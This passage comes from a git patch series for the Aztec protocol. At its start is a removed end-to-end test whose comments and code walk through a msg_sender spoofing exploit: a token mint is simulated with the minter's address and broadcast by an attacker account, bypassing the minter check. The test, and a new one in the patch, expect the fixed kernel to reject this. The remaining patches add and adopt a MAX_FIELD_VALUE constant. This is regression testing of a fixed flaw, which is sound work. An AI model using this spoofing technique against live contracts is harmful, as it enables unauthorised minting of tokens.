Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); - // } - // - // #[aztec(public)] - // #[aztec(internal)] - // fn assert_minter_and_mint(minter: AztecAddress, amount: Field) { - // assert(storage.minters.at(minter).read(), "caller is not minter"); - // let supply = storage.total_supply.read() + U128::from_integer(amount); - // storage.total_supply.write(supply); - // } - // - // As you can see, we will make a call to `assert_minter_and_mint` which will check if the caller is the minter. - // assert(storage.minters.at(minter).read(), "caller is not minter"); - // - // The way we are going to bypass that is really simply. Just specify `from` on the simulation to be the `minter` - // and then you send that transaction after your simulation. - // - // The kernel seem to not be checking that we are not just passing any msg_sender we want for the first call, - // so if we pass the minter, and don't go through an account contract, but just directly to the token contract, - // we can mint "as if" we were the minter 😎. - - const amount = 10000n; - const minter = wallets[0].getAddress(); - // Creating a fully separate PXE to ensure that we are not just knowing some of the same keys - const { pxe: pxeB, teardown: _teardown } = await setupPXEService(aztecNode!, {}, undefined, true); - const attacker = (await createAccounts(pxeB, 1))[0]; - - await attacker.registerContract({ - artifact: asset.artifact, - instance: asset.instance, - }); - - // We initially try to perform the minting operation as the attacker, as one would normally call the function. - // Here we expect the call to fail, as the attacker is not the minter. - // It will FAIL CORRECTLY here. - await expect( - asset.withWallet(attacker).methods.privately_mint_private_note_to(amount, attacker.getAddress()).simulate(), - ).rejects.toThrow('Assertion failed: caller is not minter'); - - // Now we come to the actual exploit! - // Below we will make a call, simulate it with the minter as the sender, and then we will broadcast it using the attacker. - // Note that we don't do anything using the minter (wallets[0]) in this test, and that we are even on a separate PXE, - // so it is not a case of bad PXE key management. - - // Create the call (mint amount to attacker) - const call = asset - .withWallet(attacker) - .methods.privately_mint_private_note_to_direct(amount, attacker.getAddress()) - .request(); - - // Manually prepare information to do the function call DIRECTLY, without going through the account contract - const entrypointPackedValues = PackedValues.fromValues(call.args); - const request = new TxExecutionRequest( - call.to, - call.selector, - entrypointPackedValues.hash, - new TxContext(attacker.getChainId(), attacker.getVersion(), GasSettings.default()), - [entrypointPackedValues], - [], - ); - - // Simulate the call with the minter as the sender. Note that we don't even have the minter wallets account contract - // we just need the address. - - // Now the exploit has been fixed, we expect the below to fail: - await expect(attacker.simulateTx(request, false, minter)).rejects.toThrow( - 'Assertion failed: Users cannot set msg_sender in first call', - ); - }); -}); diff --git a/yarn-project/end-to-end/src/e2e_token_contract/minting.test.ts b/yarn-project/end-to-end/src/e2e_token_contract/minting.test.ts index 5fccd7a3bfb..88141ecdf85 100644 --- a/yarn-project/end-to-end/src/e2e_token_contract/minting.test.ts +++ b/yarn-project/end-to-end/src/e2e_token_contract/minting.test.ts @@ -111,6 +111,13 @@ describe('e2e_token_contract minting', () => { ); }); + it('mint_private as non-minter, bypassing account entrypoint', async () => { + const request = await asset.withWallet(wallets[1]).methods.mint_private(amount, secretHash).create(); + await expect(wallets[1].simulateTx(request, true, accounts[0].address)).rejects.toThrow( + 'Assertion failed: Users cannot set msg_sender in first call', + ); + }); + it('mint >u128 tokens to overflow', async () => { const amount = 2n ** 128n; // U128::max() + 1; await expect(asset.methods.mint_private(amount, secretHash).simulate()).rejects.toThrow(BITSIZE_TOO_BIG_ERROR); diff --git a/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts b/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts index ff5dca9e449..fe57a47bc14 100644 --- a/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts +++ b/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts @@ -1,7 +1,6 @@ import { getSchnorrAccount } from '@aztec/accounts/schnorr'; import { type AccountWallet, - type AztecNode, type CompleteAddress, type DebugLogger, ExtendedNote, @@ -35,7 +34,6 @@ export class TokenContractTest { asset!: TokenContract; tokenSim!: TokenSimulator; badAccount!: DocsExampleContract; - aztecNode!: AztecNode; constructor(testName: string) { this.logger = createDebugLogger(`aztec:e2e_token_contract:${testName}`); @@ -48,17 +46,12 @@ export class TokenContractTest { * 2. Publicly deploy accounts, deploy token contract and a "bad account". */ async applyBaseSnapshots() { - await this.snapshotManager.snapshot( - '3_accounts', - addAccounts(3, this.logger), - async ({ accountKeys }, { pxe, aztecNode }) => { - const accountManagers = accountKeys.map(ak => getSchnorrAccount(pxe, ak[0], ak[1], 1)); - this.wallets = await Promise.all(accountManagers.map(a => a.getWallet())); - this.accounts = await pxe.getRegisteredAccounts(); - this.wallets.forEach((w, i) => this.logger.verbose(`Wallet ${i} address: ${w.getAddress()}`)); - this.aztecNode = aztecNode; - }, - ); + await this.snapshotManager.snapshot('3_accounts', addAccounts(3, this.logger), async ({ accountKeys }, { pxe }) => { + const accountManagers = accountKeys.map(ak => getSchnorrAccount(pxe, ak[0], ak[1], 1)); + this.wallets = await Promise.all(accountManagers.map(a => a.getWallet())); + this.accounts = await pxe.getRegisteredAccounts(); + this.wallets.forEach((w, i) => this.logger.verbose(`Wallet ${i} address: ${w.getAddress()}`)); + }); await this.snapshotManager.snapshot( 'e2e_token_contract', From cc06f70bd19b5547383ed7c06ce58903b8fd3c21 Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Wed, 10 Jul 2024 14:42:28 +0000 Subject: [PATCH 08/10] chore: change some more default msgsenders for alignment --- yarn-project/simulator/src/client/private_execution.test.ts | 2 +- yarn-project/txe/src/oracle/txe_oracle.ts | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/yarn-project/simulator/src/client/private_execution.test.ts b/yarn-project/simulator/src/client/private_execution.test.ts index 47e078a8a61..8668091a7e7 100644 --- a/yarn-project/simulator/src/client/private_execution.test.ts +++ b/yarn-project/simulator/src/client/private_execution.test.ts @@ -111,7 +111,7 @@ describe('Private Execution test suite', () => { const runSimulator = ({ artifact, args = [], - msgSender = AztecAddress.ZERO, + msgSender = AztecAddress.fromField(new Fr(Fr.MODULUS - 1n)), contractAddress = defaultContractAddress, txContext = {}, }: { diff --git a/yarn-project/txe/src/oracle/txe_oracle.ts b/yarn-project/txe/src/oracle/txe_oracle.ts index d22af98030a..d30aa9de71c 100644 --- a/yarn-project/txe/src/oracle/txe_oracle.ts +++ b/yarn-project/txe/src/oracle/txe_oracle.ts @@ -96,7 +96,8 @@ export class TXE implements TypedOracle { ) { this.contractDataOracle = new ContractDataOracle(txeDatabase); this.contractAddress = AztecAddress.random(); - this.msgSender = AztecAddress.fromField(new Fr(0)); + // Default msg_sender (for entrypoints) is now Fr.max_value rather than 0 addr (see #7190 & #7404) + this.msgSender = AztecAddress.fromField(new Fr(Fr.MODULUS - 1n)); } // Utils From 34f96468cd554f0d22359deba8c588052d08e2fa Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Thu, 11 Jul 2024 15:50:34 +0000 Subject: [PATCH 09/10] feat: add field_max_value const, add fr.max, tests --- .../src/core/libraries/ConstantsGen.sol | 7 ++----- l1-contracts/test/Inbox.t.sol | 7 ++++--- .../aztec/src/context/public_context.nr | 6 +++--- .../app_subscription_contract/src/main.nr | 5 +++-- .../components/private_call_data_validator.nr | 3 ++- .../crates/types/src/constants.nr | 1 + .../crates/types/src/tests/fixture_builder.nr | 4 ++-- .../crates/types/src/utils/field.nr | 15 +++++++++++++++ yarn-project/circuits.js/src/constants.gen.ts | 1 + .../circuits.js/src/scripts/constants.in.ts | 4 ---- .../circuits.js/src/utils/utils.test.ts | 10 ++++++++++ .../entrypoints/src/dapp_entrypoint.ts | 2 +- .../foundation/src/fields/fields.test.ts | 19 ++++++++++--------- yarn-project/foundation/src/fields/fields.ts | 1 + .../src/client/private_execution.test.ts | 2 +- .../simulator/src/client/simulator.ts | 2 +- yarn-project/txe/src/oracle/txe_oracle.ts | 2 +- 17 files changed, 58 insertions(+), 33 deletions(-) diff --git a/l1-contracts/src/core/libraries/ConstantsGen.sol b/l1-contracts/src/core/libraries/ConstantsGen.sol index 5db8fda1296..987089d0add 100644 --- a/l1-contracts/src/core/libraries/ConstantsGen.sol +++ b/l1-contracts/src/core/libraries/ConstantsGen.sol @@ -9,11 +9,8 @@ pragma solidity >=0.8.18; * @notice Library that contains constants used throughout the Aztec protocol */ library Constants { - // Prime field modulus - uint256 internal constant P = - 21888242871839275222246405745257275088548364400416034343698204186575808495617; - uint256 internal constant MAX_FIELD_VALUE = P - 1; - + uint256 internal constant MAX_FIELD_VALUE = + 21888242871839275222246405745257275088548364400416034343698204186575808495616; uint256 internal constant ARGS_LENGTH = 16; uint256 internal constant MAX_NOTE_HASHES_PER_CALL = 16; uint256 internal constant MAX_NULLIFIERS_PER_CALL = 16; diff --git a/l1-contracts/test/Inbox.t.sol b/l1-contracts/test/Inbox.t.sol index e7a0ca5af33..ff1099f3212 100644 --- a/l1-contracts/test/Inbox.t.sol +++ b/l1-contracts/test/Inbox.t.sol @@ -51,11 +51,12 @@ contract InboxTest is Test { // fix message.sender _message.sender = DataStructures.L1Actor({actor: address(this), chainId: block.chainid}); // ensure actor fits in a field - _message.recipient.actor = bytes32(uint256(_message.recipient.actor) % Constants.P); + _message.recipient.actor = + bytes32(uint256(_message.recipient.actor) % Constants.MAX_FIELD_VALUE + 1); // ensure content fits in a field - _message.content = bytes32(uint256(_message.content) % Constants.P); + _message.content = bytes32(uint256(_message.content) % Constants.MAX_FIELD_VALUE + 1); // ensure secret hash fits in a field - _message.secretHash = bytes32(uint256(_message.secretHash) % Constants.P); + _message.secretHash = bytes32(uint256(_message.secretHash) % Constants.MAX_FIELD_VALUE + 1); // update version _message.recipient.version = version; diff --git a/noir-projects/aztec-nr/aztec/src/context/public_context.nr b/noir-projects/aztec-nr/aztec/src/context/public_context.nr index 1bfaea42d39..a9a060c42f6 100644 --- a/noir-projects/aztec-nr/aztec/src/context/public_context.nr +++ b/noir-projects/aztec-nr/aztec/src/context/public_context.nr @@ -1,5 +1,6 @@ use crate::hash::{compute_secret_hash, compute_message_hash, compute_message_nullifier}; use dep::protocol_types::address::{AztecAddress, EthAddress}; +use dep::protocol_types::constants::MAX_FIELD_VALUE; use dep::protocol_types::traits::{Serialize, Deserialize, Empty}; use dep::protocol_types::abis::function_selector::FunctionSelector; use crate::context::inputs::public_context_inputs::PublicContextInputs; @@ -185,10 +186,9 @@ impl PublicContext { fn gas_for_call(user_gas: GasOpts) -> [Field; 2] { // It's ok to use the max possible gas here, because the gas will be // capped by the gas left in the (STATIC)CALL instruction. - let MAX_POSSIBLE_FIELD: Field = 0 - 1; [ - user_gas.l2_gas.unwrap_or(MAX_POSSIBLE_FIELD), - user_gas.da_gas.unwrap_or(MAX_POSSIBLE_FIELD) + user_gas.l2_gas.unwrap_or(MAX_FIELD_VALUE), + user_gas.da_gas.unwrap_or(MAX_FIELD_VALUE) ] } diff --git a/noir-projects/noir-contracts/contracts/app_subscription_contract/src/main.nr b/noir-projects/noir-contracts/contracts/app_subscription_contract/src/main.nr index 266c5c2ff01..ab5054e44b0 100644 --- a/noir-projects/noir-contracts/contracts/app_subscription_contract/src/main.nr +++ b/noir-projects/noir-contracts/contracts/app_subscription_contract/src/main.nr @@ -9,7 +9,8 @@ contract AppSubscription { AztecAddress, FunctionSelector, PrivateContext, NoteHeader, Map, PrivateMutable, PublicMutable, SharedImmutable }, - encrypted_logs::encrypted_note_emission::encode_and_encrypt_note + encrypted_logs::encrypted_note_emission::encode_and_encrypt_note, + protocol_types::constants::MAX_FIELD_VALUE }; use authwit::{auth_witness::get_auth_witness, auth::assert_current_call_valid_authwit}; use gas_token::GasToken; @@ -35,7 +36,7 @@ contract AppSubscription { #[aztec(private)] fn entrypoint(payload: DAppPayload, user_address: AztecAddress) { // Default msg_sender for entrypoints is now Fr.max_value rather than 0 addr (see #7190 & #7404) - assert(context.msg_sender().to_field() == 0 - 1); + assert(context.msg_sender().to_field() == MAX_FIELD_VALUE); assert_current_call_valid_authwit(&mut context, user_address); let mut note = storage.subscriptions.at(user_address).get_note().note; diff --git a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/components/private_call_data_validator.nr b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/components/private_call_data_validator.nr index 49fabf2d1e3..faabc594d3b 100644 --- a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/components/private_call_data_validator.nr +++ b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/components/private_call_data_validator.nr @@ -15,6 +15,7 @@ use dep::types::{ private_kernel::private_call_data::PrivateCallData, side_effect::{Ordered, RangeOrdered} }, address::{AztecAddress, PartialAddress}, contract_class_id::ContractClassId, + constants::MAX_FIELD_VALUE, hash::{private_functions_root_from_siblings, stdlib_recursion_verification_key_compress_native_vk}, traits::is_empty, transaction::tx_request::TxRequest, utils::arrays::find_index }; @@ -122,7 +123,7 @@ impl PrivateCallDataValidator { assert(call_context.is_delegate_call == false, "Users cannot make a delegatecall"); assert(call_context.is_static_call == false, "Users cannot make a static call"); assert( - call_context.msg_sender == AztecAddress::from_field(0 - 1), "Users cannot set msg_sender in first call" + call_context.msg_sender == AztecAddress::from_field(MAX_FIELD_VALUE), "Users cannot set msg_sender in first call" ); } diff --git a/noir-projects/noir-protocol-circuits/crates/types/src/constants.nr b/noir-projects/noir-protocol-circuits/crates/types/src/constants.nr index dd8e5873630..87b630f8889 100644 --- a/noir-projects/noir-protocol-circuits/crates/types/src/constants.nr +++ b/noir-projects/noir-protocol-circuits/crates/types/src/constants.nr @@ -1,3 +1,4 @@ +global MAX_FIELD_VALUE: Field = 21888242871839275222246405745257275088548364400416034343698204186575808495616; global ARGS_LENGTH: u32 = 16; /** diff --git a/noir-projects/noir-protocol-circuits/crates/types/src/tests/fixture_builder.nr b/noir-projects/noir-protocol-circuits/crates/types/src/tests/fixture_builder.nr index cb109116684..0c3bc346043 100644 --- a/noir-projects/noir-protocol-circuits/crates/types/src/tests/fixture_builder.nr +++ b/noir-projects/noir-protocol-circuits/crates/types/src/tests/fixture_builder.nr @@ -26,7 +26,7 @@ use crate::{ address::{AztecAddress, EthAddress, SaltedInitializationHash, PublicKeysHash}, constants::{ FUNCTION_TREE_HEIGHT, MAX_NOTE_HASHES_PER_TX, MAX_NULLIFIERS_PER_TX, MAX_L2_TO_L1_MSGS_PER_TX, - MAX_PUBLIC_DATA_READS_PER_TX, MAX_PUBLIC_DATA_UPDATE_REQUESTS_PER_TX, + MAX_PUBLIC_DATA_READS_PER_TX, MAX_PUBLIC_DATA_UPDATE_REQUESTS_PER_TX, MAX_FIELD_VALUE, MAX_PRIVATE_CALL_STACK_LENGTH_PER_TX, MAX_PUBLIC_CALL_STACK_LENGTH_PER_TX, MAX_NOTE_HASH_READ_REQUESTS_PER_TX, MAX_NULLIFIER_READ_REQUESTS_PER_TX, MAX_NULLIFIER_NON_EXISTENT_READ_REQUESTS_PER_TX, MAX_KEY_VALIDATION_REQUESTS_PER_TX, VK_TREE_HEIGHT, @@ -204,7 +204,7 @@ impl FixtureBuilder { } pub fn is_first_call(&mut self) -> Self { - self.msg_sender = AztecAddress::from_field(0-1); + self.msg_sender = AztecAddress::from_field(MAX_FIELD_VALUE); *self } diff --git a/noir-projects/noir-protocol-circuits/crates/types/src/utils/field.nr b/noir-projects/noir-protocol-circuits/crates/types/src/utils/field.nr index 6d366ee838b..7433a17839c 100644 --- a/noir-projects/noir-protocol-circuits/crates/types/src/utils/field.nr +++ b/noir-projects/noir-protocol-circuits/crates/types/src/utils/field.nr @@ -67,3 +67,18 @@ unconstrained fn bytes_field_test() { } assert_eq(field2, field); } + +#[test] +unconstrained fn max_field_test() { + // Tests the hardcoded value in constants.nr vs underlying modulus + // NB: We can't use 0-1 in constants.nr as it will be transpiled incorrectly to ts and sol constants files + let max_value = crate::constants::MAX_FIELD_VALUE; + assert_eq(max_value, 0 - 1); + // modulus == 0 is tested elsewhere, so below is more of a sanity check + let max_bytes = max_value.to_be_bytes(32); + let mod_bytes = std::field::modulus_be_bytes(); + for i in 0..31 { + assert_eq(max_bytes[i], mod_bytes[i]); + } + assert_eq(max_bytes[31], mod_bytes[31] - 1); +} diff --git a/yarn-project/circuits.js/src/constants.gen.ts b/yarn-project/circuits.js/src/constants.gen.ts index 38eb09c6f9f..a82e17014cc 100644 --- a/yarn-project/circuits.js/src/constants.gen.ts +++ b/yarn-project/circuits.js/src/constants.gen.ts @@ -1,5 +1,6 @@ /* eslint-disable */ // GENERATED FILE - DO NOT EDIT, RUN yarn remake-constants +export const MAX_FIELD_VALUE = 21888242871839275222246405745257275088548364400416034343698204186575808495616n; export const ARGS_LENGTH = 16; export const MAX_NOTE_HASHES_PER_CALL = 16; export const MAX_NULLIFIERS_PER_CALL = 16; diff --git a/yarn-project/circuits.js/src/scripts/constants.in.ts b/yarn-project/circuits.js/src/scripts/constants.in.ts index 119eafb4fc8..4d407cb2d9b 100644 --- a/yarn-project/circuits.js/src/scripts/constants.in.ts +++ b/yarn-project/circuits.js/src/scripts/constants.in.ts @@ -260,10 +260,6 @@ pragma solidity >=0.8.18; * @notice Library that contains constants used throughout the Aztec protocol */ library Constants { - // Prime field modulus - uint256 internal constant P = - 21888242871839275222246405745257275088548364400416034343698204186575808495617; - uint256 internal constant MAX_FIELD_VALUE = P - 1; ${processConstantsSolidity(constants)} }\n`; diff --git a/yarn-project/circuits.js/src/utils/utils.test.ts b/yarn-project/circuits.js/src/utils/utils.test.ts index 677395502a6..edfd1b11db5 100644 --- a/yarn-project/circuits.js/src/utils/utils.test.ts +++ b/yarn-project/circuits.js/src/utils/utils.test.ts @@ -2,6 +2,7 @@ import { makeTuple } from '@aztec/foundation/array'; import { Fr } from '@aztec/foundation/fields'; import { type Tuple } from '@aztec/foundation/serialize'; +import { MAX_FIELD_VALUE } from '../constants.gen.js'; import { type IsEmpty } from '../interfaces/index.js'; import { countAccumulatedItems, @@ -502,4 +503,13 @@ describe('utils', () => { expect(getNonEmptyItems(arr)).toEqual([]); }); }); + + describe('Constants', () => { + it('fr.max and const.max should be in sync', () => { + // Ideally this test would live in foundation/field, but that creates a circular dependency + // since constants live in circuits.js + expect(new Fr(MAX_FIELD_VALUE)).toEqual(Fr.MAX_FIELD_VALUE); + expect(new Fr(MAX_FIELD_VALUE)).toEqual(Fr.ONE.negate()); + }); + }); }); diff --git a/yarn-project/entrypoints/src/dapp_entrypoint.ts b/yarn-project/entrypoints/src/dapp_entrypoint.ts index 35dc53ed3f3..e05a1ec3148 100644 --- a/yarn-project/entrypoints/src/dapp_entrypoint.ts +++ b/yarn-project/entrypoints/src/dapp_entrypoint.ts @@ -34,7 +34,7 @@ export class DefaultDappEntrypoint implements EntrypointInterface { const functionSelector = FunctionSelector.fromNameAndParameters(abi.name, abi.parameters); // Default msg_sender for entrypoints is now Fr.max_value rather than 0 addr (see #7190 & #7404) const innerHash = computeInnerAuthWitHash([ - new Fr(Fr.MODULUS - 1n), + Fr.MAX_FIELD_VALUE, functionSelector.toField(), entrypointPackedArgs.hash, ]); diff --git a/yarn-project/foundation/src/fields/fields.test.ts b/yarn-project/foundation/src/fields/fields.test.ts index 2f8686bb4c5..bfe3d193c11 100644 --- a/yarn-project/foundation/src/fields/fields.test.ts +++ b/yarn-project/foundation/src/fields/fields.test.ts @@ -71,8 +71,8 @@ describe('Bn254 arithmetic', () => { it('Low Boundary', () => { // 0 + -1 = -1 const a = Fr.ZERO; - const b = new Fr(Fr.MODULUS - 1n); - const expected = new Fr(Fr.MODULUS - 1n); + const b = Fr.MAX_FIELD_VALUE; + const expected = Fr.MAX_FIELD_VALUE; const actual = a.add(b); expect(actual).toEqual(expected); @@ -80,7 +80,7 @@ describe('Bn254 arithmetic', () => { it('High Boundary', () => { // -1 + 1 = 0 - const a = new Fr(Fr.MODULUS - 1n); + const a = Fr.MAX_FIELD_VALUE; const b = new Fr(1); const expected = Fr.ZERO; @@ -103,7 +103,7 @@ describe('Bn254 arithmetic', () => { // 0 - 1 = -1 const a = new Fr(0); const b = new Fr(1); - const expected = new Fr(Fr.MODULUS - 1n); + const expected = Fr.MAX_FIELD_VALUE; const actual = a.sub(b); expect(actual).toEqual(expected); @@ -111,8 +111,8 @@ describe('Bn254 arithmetic', () => { it('High Bonudary', () => { // -1 - (-1) = 0 - const a = new Fr(Fr.MODULUS - 1n); - const b = new Fr(Fr.MODULUS - 1n); + const a = Fr.MAX_FIELD_VALUE; + const b = Fr.MAX_FIELD_VALUE; const actual = a.sub(b); expect(actual).toEqual(Fr.ZERO); @@ -130,9 +130,9 @@ describe('Bn254 arithmetic', () => { describe('Multiplication', () => { it('Identity', () => { - const a = new Fr(Fr.MODULUS - 1n); + const a = Fr.MAX_FIELD_VALUE; const b = new Fr(1); - const expected = new Fr(Fr.MODULUS - 1n); + const expected = Fr.MAX_FIELD_VALUE; const actual = a.mul(b); expect(actual).toEqual(expected); @@ -148,7 +148,7 @@ describe('Bn254 arithmetic', () => { }); it('High Boundary', () => { - const a = new Fr(Fr.MODULUS - 1n); + const a = Fr.MAX_FIELD_VALUE; const b = new Fr(Fr.MODULUS / 2n); const expected = new Fr(10944121435919637611123202872628637544274182200208017171849102093287904247809n); @@ -189,6 +189,7 @@ describe('Bn254 arithmetic', () => { [new Fr(5), new Fr(10), -1], [new Fr(10), new Fr(5), 1], [new Fr(5), new Fr(5), 0], + [Fr.MAX_FIELD_VALUE, new Fr(Fr.MODULUS - 1n), 0], [new Fr(0), new Fr(Fr.MODULUS - 1n), -1], [new Fr(Fr.MODULUS - 1n), new Fr(0), 1], [Fr.ZERO, Fr.ZERO, 0], diff --git a/yarn-project/foundation/src/fields/fields.ts b/yarn-project/foundation/src/fields/fields.ts index 42584f5f584..c8f5e1d6f76 100644 --- a/yarn-project/foundation/src/fields/fields.ts +++ b/yarn-project/foundation/src/fields/fields.ts @@ -195,6 +195,7 @@ export class Fr extends BaseField { static ZERO = new Fr(0n); static ONE = new Fr(1n); static MODULUS = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001n; + static MAX_FIELD_VALUE = new Fr(this.MODULUS - 1n); constructor(value: number | bigint | boolean | Fr | Buffer) { super(value); diff --git a/yarn-project/simulator/src/client/private_execution.test.ts b/yarn-project/simulator/src/client/private_execution.test.ts index 8668091a7e7..4c94b92b441 100644 --- a/yarn-project/simulator/src/client/private_execution.test.ts +++ b/yarn-project/simulator/src/client/private_execution.test.ts @@ -111,7 +111,7 @@ describe('Private Execution test suite', () => { const runSimulator = ({ artifact, args = [], - msgSender = AztecAddress.fromField(new Fr(Fr.MODULUS - 1n)), + msgSender = AztecAddress.fromField(Fr.MAX_FIELD_VALUE), contractAddress = defaultContractAddress, txContext = {}, }: { diff --git a/yarn-project/simulator/src/client/simulator.ts b/yarn-project/simulator/src/client/simulator.ts index ba870bbda65..0f31da45780 100644 --- a/yarn-project/simulator/src/client/simulator.ts +++ b/yarn-project/simulator/src/client/simulator.ts @@ -44,7 +44,7 @@ export class AcirSimulator { request: TxExecutionRequest, entryPointArtifact: FunctionArtifact, contractAddress: AztecAddress, - msgSender = AztecAddress.fromField(new Fr(Fr.MODULUS - 1n)), + msgSender = AztecAddress.fromField(Fr.MAX_FIELD_VALUE), ): Promise { if (entryPointArtifact.functionType !== FunctionType.PRIVATE) { throw new Error(`Cannot run ${entryPointArtifact.functionType} function as private`); diff --git a/yarn-project/txe/src/oracle/txe_oracle.ts b/yarn-project/txe/src/oracle/txe_oracle.ts index d30aa9de71c..a812080741e 100644 --- a/yarn-project/txe/src/oracle/txe_oracle.ts +++ b/yarn-project/txe/src/oracle/txe_oracle.ts @@ -97,7 +97,7 @@ export class TXE implements TypedOracle { this.contractDataOracle = new ContractDataOracle(txeDatabase); this.contractAddress = AztecAddress.random(); // Default msg_sender (for entrypoints) is now Fr.max_value rather than 0 addr (see #7190 & #7404) - this.msgSender = AztecAddress.fromField(new Fr(Fr.MODULUS - 1n)); + this.msgSender = AztecAddress.fromField(Fr.MAX_FIELD_VALUE); } // Utils From 6a0ce82d1a0ef3c3c75367a1945440081b640341 Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Fri, 12 Jul 2024 12:42:42 +0000 Subject: [PATCH 10/10] chore: link to new issue, re-add sol modulus --- l1-contracts/src/core/libraries/ConstantsGen.sol | 4 ++++ l1-contracts/test/Inbox.t.sol | 13 ++++++------- .../circuits.js/src/scripts/constants.in.ts | 3 +++ yarn-project/pxe/src/pxe_service/pxe_service.ts | 1 + 4 files changed, 14 insertions(+), 7 deletions(-) diff --git a/l1-contracts/src/core/libraries/ConstantsGen.sol b/l1-contracts/src/core/libraries/ConstantsGen.sol index 987089d0add..be8ae7b771e 100644 --- a/l1-contracts/src/core/libraries/ConstantsGen.sol +++ b/l1-contracts/src/core/libraries/ConstantsGen.sol @@ -9,6 +9,10 @@ pragma solidity >=0.8.18; * @notice Library that contains constants used throughout the Aztec protocol */ library Constants { + // Prime field modulus + uint256 internal constant P = + 21888242871839275222246405745257275088548364400416034343698204186575808495617; + uint256 internal constant MAX_FIELD_VALUE = 21888242871839275222246405745257275088548364400416034343698204186575808495616; uint256 internal constant ARGS_LENGTH = 16; diff --git a/l1-contracts/test/Inbox.t.sol b/l1-contracts/test/Inbox.t.sol index ff1099f3212..092aa99b87c 100644 --- a/l1-contracts/test/Inbox.t.sol +++ b/l1-contracts/test/Inbox.t.sol @@ -51,12 +51,11 @@ contract InboxTest is Test { // fix message.sender _message.sender = DataStructures.L1Actor({actor: address(this), chainId: block.chainid}); // ensure actor fits in a field - _message.recipient.actor = - bytes32(uint256(_message.recipient.actor) % Constants.MAX_FIELD_VALUE + 1); + _message.recipient.actor = bytes32(uint256(_message.recipient.actor) % Constants.P); // ensure content fits in a field - _message.content = bytes32(uint256(_message.content) % Constants.MAX_FIELD_VALUE + 1); + _message.content = bytes32(uint256(_message.content) % Constants.P); // ensure secret hash fits in a field - _message.secretHash = bytes32(uint256(_message.secretHash) % Constants.MAX_FIELD_VALUE + 1); + _message.secretHash = bytes32(uint256(_message.secretHash) % Constants.P); // update version _message.recipient.version = version; @@ -106,7 +105,7 @@ contract InboxTest is Test { function testRevertIfActorTooLarge() public { DataStructures.L1ToL2Msg memory message = _fakeMessage(); - message.recipient.actor = bytes32(Constants.MAX_FIELD_VALUE + 1); + message.recipient.actor = bytes32(Constants.P); vm.expectRevert( abi.encodeWithSelector(Errors.Inbox__ActorTooLarge.selector, message.recipient.actor) ); @@ -115,14 +114,14 @@ contract InboxTest is Test { function testRevertIfContentTooLarge() public { DataStructures.L1ToL2Msg memory message = _fakeMessage(); - message.content = bytes32(Constants.MAX_FIELD_VALUE + 1); + message.content = bytes32(Constants.P); vm.expectRevert(abi.encodeWithSelector(Errors.Inbox__ContentTooLarge.selector, message.content)); inbox.sendL2Message(message.recipient, message.content, message.secretHash); } function testRevertIfSecretHashTooLarge() public { DataStructures.L1ToL2Msg memory message = _fakeMessage(); - message.secretHash = bytes32(Constants.MAX_FIELD_VALUE + 1); + message.secretHash = bytes32(Constants.P); vm.expectRevert( abi.encodeWithSelector(Errors.Inbox__SecretHashTooLarge.selector, message.secretHash) ); diff --git a/yarn-project/circuits.js/src/scripts/constants.in.ts b/yarn-project/circuits.js/src/scripts/constants.in.ts index 4d407cb2d9b..251a40be093 100644 --- a/yarn-project/circuits.js/src/scripts/constants.in.ts +++ b/yarn-project/circuits.js/src/scripts/constants.in.ts @@ -260,6 +260,9 @@ pragma solidity >=0.8.18; * @notice Library that contains constants used throughout the Aztec protocol */ library Constants { + // Prime field modulus + uint256 internal constant P = + 21888242871839275222246405745257275088548364400416034343698204186575808495617; ${processConstantsSolidity(constants)} }\n`; diff --git a/yarn-project/pxe/src/pxe_service/pxe_service.ts b/yarn-project/pxe/src/pxe_service/pxe_service.ts index 6dcf9d3f421..b40a4d0c795 100644 --- a/yarn-project/pxe/src/pxe_service/pxe_service.ts +++ b/yarn-project/pxe/src/pxe_service/pxe_service.ts @@ -511,6 +511,7 @@ export class PXEService implements PXE { }); } + // TODO(#7456) Prevent msgSender being defined here for the first call public async simulateTx( txRequest: TxExecutionRequest, simulatePublic: boolean,